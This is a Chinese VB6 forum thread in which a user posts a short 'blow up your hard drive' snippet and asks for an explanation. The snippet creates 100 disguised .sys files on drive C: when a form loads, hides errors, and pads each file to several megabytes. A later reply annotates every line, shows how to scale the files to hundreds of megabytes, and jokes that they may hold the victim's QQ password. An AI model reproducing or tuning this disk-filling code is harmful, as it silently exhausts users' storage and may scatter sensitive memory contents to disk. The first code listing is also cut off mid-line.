注册 登录
编程论坛 VB6论坛

几句代码爆你硬盘.很短很精

b123456 发布于 2008-10-25 10:52, 1031 次点击
Private Sub Form_Load()
On Error Resume Next
For i = 1 To 100
     Open "c:\\20cn" + CStr(i) + ".sys" For Random As 1
  
DoEvents

Put #1, 30000, "

  
Next
End Sub
帮我解释一下这段代码.每句的意思.我不理解

[[it] 本帖最后由 b123456 于 2008-10-25 11:23 编辑 [/it]]
9 回复
#2
我是菜鸟哦2008-10-25 11:02
不要做广告
#3
b1234562008-10-25 11:24
[bo][un]我是菜鸟哦[/un] 在 2008-10-25 11:02 的发言:[/bo]

不要做广告

不是广告阿.刚才我忘了写上了
#4
我是菜鸟哦2008-10-25 12:28
Put #1, 30000, " 涉及到指针操作,这个应该是向地址为30000的变量中放入“”内的数据

我也好久没看指针了,哪位大侠看出有什么错误请指正便是
#5
Joforn2008-10-25 15:44
好玩么?
#6
b1234562008-10-25 18:19
希望懂的给这几句话.帮我解释明白一下.我也是在别的站看到的.但不知道怎么用.我放到窗体中运行可没什么反映
#7
multiple19022008-10-25 18:34
[bo][un]b123456[/un] 在 2008-10-25 18:19 的发言:[/bo]

希望懂的给这几句话.帮我解释明白一下.我也是在别的站看到的.但不知道怎么用.我放到窗体中运行可没什么反映

自己找书看open语句 close语句 put语句是干啥的。
还不知道的话看c盘。
#8
e3bnsd2012-12-07 00:41
#9
wmpsxf2013-01-17 19:40
On Error Resume Next这句看懂了,是如果错了执行下一条
#10
好动小精灵2013-02-03 20:26
Private Sub Form_Load()

On Error Resume Next

For h = 1 To 100   注释:(这个100为写入文件的个数,就是向C盘下写100个文件)

   Open "c:\小黑侠" + CStr(h) + ".sys" For Random As 1
  注释:(在C盘下产生文件 类似 "小黑侠x.sys" x为数字)
DoEvents

Put #1, 30000, "小黑侠"

注释:这里的这个30000是控制生成文件大小的。
   注释:30000产生的文件大小是3.6M左右
   注释:10000产生的文件大小是1.2M左右
   注释:如果你改为3000000的话,那就是360M,不要太坏哦!
   注释:如果你想知道那么大的文件里面是什么,那就就用写字板打开看就是了,可能里面还有你的QQ密码也说不定。因为这些内容都是在你的缓存文件里随机产生的。不过你会在文件的最后一行看到有一个神秘的字符,那就是“小黑侠”字样。呵呵,我跑到你电脑里去玩了。
1